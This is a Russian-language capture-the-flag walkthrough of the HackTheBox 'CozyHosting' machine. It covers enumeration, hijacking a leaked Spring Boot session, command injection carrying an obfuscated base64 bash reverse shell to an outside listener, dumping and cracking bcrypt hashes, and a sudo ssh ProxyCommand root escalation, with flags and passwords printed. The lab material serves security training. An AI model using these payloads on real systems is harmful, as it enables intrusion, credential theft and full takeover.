Telegram / Видео
Обзор сервисов
Машине присвоен IP-адрес 10.10.11.230
. Просканируем с помощью nmap
:
$ nmap -sV -sS -Pn -p1-65535 -oN 10.10.11.230 10.10.11.230
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 01:46 EDT
Nmap scan report for 10.10.11.230
Host is up (0.064s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.36 seconds
Открыты стандартные порты для Linux-машин HackTheBox.
Веб-сервис
После перехода на http://10.10.11.230
получаем адрес cozyhosting.htb
, который пропишем в /etc/hosts
.
echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts
Переходим снова и начинаем изучать веб-сервис.
Поищем с помощью gobuster
интересные файлы.
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://cozyhosting.htb -t 20 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cozyhosting.htb
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 12706]
/login (Status: 200) [Size: 4431]
/admin (Status: 401) [Size: 97]
/logout (Status: 204) [Size: 0]
/error (Status: 500) [Size: 73]
===============================================================
Finished
===============================================================
Если перейти на /error
, то увидим следующее сообщение.
Это ошибка от Spring Boot. Это значит, что в приложении могут быть дополнительные эндпоинты /actuator
.
В сессиях обнаружили пользователя kanderson
.
В маппингах - дополнительный эндпоинт /addhost
.
Интересный эндпоинт POST /executessh
.
Копируем один из токенов сессий для пользователя kanderson
и вставляем себе в качестве JSESSIONID
.
Теперь мы можем перейти на /admin
.
Смотрим в админку и обнаруживаем кусок формы, который отправляет POST запрос на /executessh
.
Пробуем что-нибудь отправить и посмотреть на результат.
Подготовим реверс-шелл:
$ echo "bash -i >& /dev/tcp/10.10.14.18/4242 0>&1" | base64 -w 0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOC80MjQyIDA+JjE=
Наш базовый реверс-шелл будет таким:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOC80MjQyIDA+JjE=" | base64 -d | bash
Но приложение не разрешает нам использовать пробелы. Заменим все пробелы на ${IFS#??}
:
echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOC80MjQyIDA+JjE="${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash
Добавим ;
слева и справа от команды:
;echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOC80MjQyIDA+JjE="${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
Применим urlencode:
%3becho${IFS%25%3f%3f}"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4xOC80MjQyIDA%2bJjE%3d"${IFS%25%3f%3f}|${IFS%25%3f%3f}base64${IFS%25%3f%3f}-d${IFS%25%3f%3f}|${IFS%25%3f%3f}bash%3b
Запустим nc
и отправим запрос:
rlwrap nc -lnvp 4242
Исследование приложения
Скачаем приложение cloudhosting-0.0.1.jar
и откроем его в jd
.
В application.properties
найдем пароль для postgres, а в scheduled/FakeUser.class
- креды пользователя kanderson
:
Посмотрим в базу данных:
$ psql -h 127.0.0.1 -U postgres
Password for user postgres: Vg&nvzAQ7XxR
$ \c cozyhosting
$ \d
List of relations
Schema | Name | Type | Owner
--------+--------------+----------+----------
public | hosts | table | postgres
public | hosts_id_seq | sequence | postgres
public | users | table | postgres
(3 rows)
$ select * from users;
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)
Идентификация хеша (bcrypt):
$ hashid
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
Analyzing '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
Поместим хеш в файл hash.txt
и запустим hashcat
:
$ hashcat -a 0 -m 3200 hash.txt rockyou.txt
manchesterunited
Посмотрим, какой пользователь есть еще в системе:
$ ls -la /home
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040750/rwxr-x--- 4096 dir 2023-08-08 06:19:05 -0400 josh
Попробуем подключиться к ssh с помощью него:
$ ssh [email protected]
manchesterunited
Пользовательский флаг
josh@cozyhosting:~$ ls
user.txt
josh@cozyhosting:~$ cat user.txt
09161afc4694e1b20970be6f95dedb4d
Повышение привилегий
Посмотрим, что пользователь josh
может выполнять из-под sudo
:
$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
Воспользуемся методом gtfobins.
sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x
Флаг суперпользователя
root@cozyhosting:/home/josh# cd /root
root@cozyhosting:~# ls
root.txt
root@cozyhosting:~# cat root.txt
36aac35bf1a0689e62fdf510e816ede4